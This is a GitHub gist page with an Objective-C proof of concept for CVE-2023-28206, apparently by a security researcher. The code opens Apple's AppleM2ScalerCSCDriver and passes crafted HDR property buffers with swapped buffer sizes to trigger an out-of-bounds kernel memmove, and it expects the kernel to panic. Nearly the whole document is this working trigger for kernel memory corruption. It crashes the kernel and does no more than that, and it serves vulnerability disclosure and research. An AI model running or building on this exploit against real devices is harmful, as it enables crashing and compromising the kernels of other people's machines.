-
-
Save Proteas/1b31b9138e5ddd0c0d56437fc8207b27 to your computer and use it in GitHub Desktop.
A PoC for CVE-2023-28206
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// | |
// PoC.m | |
// IOSABugTrigger | |
// | |
// Created by Linus Henze on 2023-04-08. | |
// Copyright © 2023 Pinauten GmbH. Some rights reserved. | |
// | |
// | |
// This is a PoC for CVE-2023-28206, triggering an oob memmove in IosaColorManagerMSR8::getHDRStats_gatedContext | |
// | |
// License: MIT | |
// | |
#import <CoreFoundation/CoreFoundation.h> | |
#import <Foundation/Foundation.h> | |
#import <IOSurface/IOSurfaceTypes.h> | |
#import <IOSurface/IOSurfaceRef.h> | |
#import <IOKit/IOKitLib.h> | |
#import <stdio.h> | |
#import <assert.h> | |
#import <stdint.h> | |
#import <dlfcn.h> | |
struct CommApiData { | |
uint32_t inType; | |
void *inBuf; | |
uint32_t inBufSize; | |
uint32_t outType; | |
void *outBuf; | |
uint32_t outSize; | |
}; | |
uint64_t (*prepareTransformBuffersAndOptions)(IOSurfaceRef a, IOSurfaceRef b, CFDictionaryRef dict, bool unk, void *buf); | |
// This function triggers an oob memmove in IosaColorManagerMSR8::getHDRStats_gatedContext | |
kern_return_t trigger_memmove_oob_copy(void) { | |
void *iosaHndl = dlopen("/System/Library/PrivateFrameworks/IOSurfaceAccelerator.framework/IOSurfaceAccelerator", RTLD_NOW); | |
prepareTransformBuffersAndOptions = dlsym(iosaHndl, "prepareTransformBuffersAndOptions"); | |
NSDictionary *dict = @{ | |
(__bridge NSString*) kIOSurfaceWidth: @1024, | |
(__bridge NSString*) kIOSurfaceHeight: @1024, | |
(__bridge NSString*) kIOSurfaceBytesPerElement: @4, | |
(__bridge NSString*) kIOSurfaceBytesPerRow: @(1024 * 4), | |
(__bridge NSString*) kIOSurfaceAllocSize: @(1024 * 1024 * 4), | |
(__bridge NSString*) kIOSurfacePixelFormat: @((uint32_t) 'RGBA'), | |
@"HDREnable": @YES, | |
// This is required for some reason | |
@"HistogramPixelBins": @[ | |
@UINT32_MAX, | |
@UINT32_MAX, | |
@UINT32_MAX, | |
@UINT32_MAX, | |
@UINT32_MAX | |
] | |
}; | |
IOSurfaceRef srcSurf = IOSurfaceCreate((__bridge CFDictionaryRef) dict); | |
memset(IOSurfaceGetBaseAddress(srcSurf), 0xF0, 1024 * 1024 * 4); | |
IOSurfaceRef destSurf = IOSurfaceCreate((__bridge CFDictionaryRef) dict); | |
void *dataBuf = malloc(0x170); | |
memset(dataBuf, 0, 0x170); | |
uint64_t rr = prepareTransformBuffersAndOptions(srcSurf, destSurf, (__bridge CFDictionaryRef) dict, 0, dataBuf); | |
assert(!rr); | |
struct CommApiData *apiDat = (struct CommApiData*) ((uintptr_t) dataBuf + 0xD0); | |
// Tell the kernel we want to do some HDR stuff | |
int i = 0; | |
uint32_t *pwnData = malloc(0x4000 * 4); // Need to allocate enough space because otherwise... | |
pwnData[i++] = 2; // Number of properties | |
pwnData[i++] = 100; // Size of properties | |
pwnData[i++] = 'base'; // Tag | |
pwnData[i++] = 4; // Size of data for this tag | |
pwnData[i++] = 0; // Value | |
pwnData[i++] = 'basf'; // Tag | |
pwnData[i++] = 4; // Size of data for this tag | |
pwnData[i++] = 0; // Value | |
// THIS IS THE REAL TRIGGER | |
apiDat[0].inType = 3; | |
apiDat[0].inBuf = pwnData; | |
apiDat[0].inBufSize = 0x4000 * 4; | |
apiDat[0].outType = 2; | |
apiDat[0].outBuf = malloc(0x4000 * 0x400); | |
apiDat[0].outSize = 0x4000 * 0x400; // Tell the kernel that we have 0x1008 bytes of space (this is the minimum)... | |
apiDat[2].inType = 3; | |
apiDat[2].inBuf = pwnData; | |
apiDat[2].inBufSize = 0x4000 * 4; | |
apiDat[2].outType = 2; | |
apiDat[2].outBuf = malloc(0x4000); | |
apiDat[2].outSize = 0x1000; // ...and then replace the buffer with one of size zero! | |
io_service_t service = IOServiceGetMatchingService(kIOMainPortDefault, IOServiceMatching("AppleM2ScalerCSCDriver")); | |
assert(service); | |
io_connect_t conn = 0; | |
kern_return_t kr = IOServiceOpen(service, mach_task_self_, 0, &conn); | |
assert(kr == KERN_SUCCESS); | |
assert(conn); | |
IOObjectRelease(service); | |
kr = IOConnectCallStructMethod(conn, 1, dataBuf, 0x170, NULL, NULL); | |
// Kernel should have paniced at this point | |
assert(false); | |
return kr; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment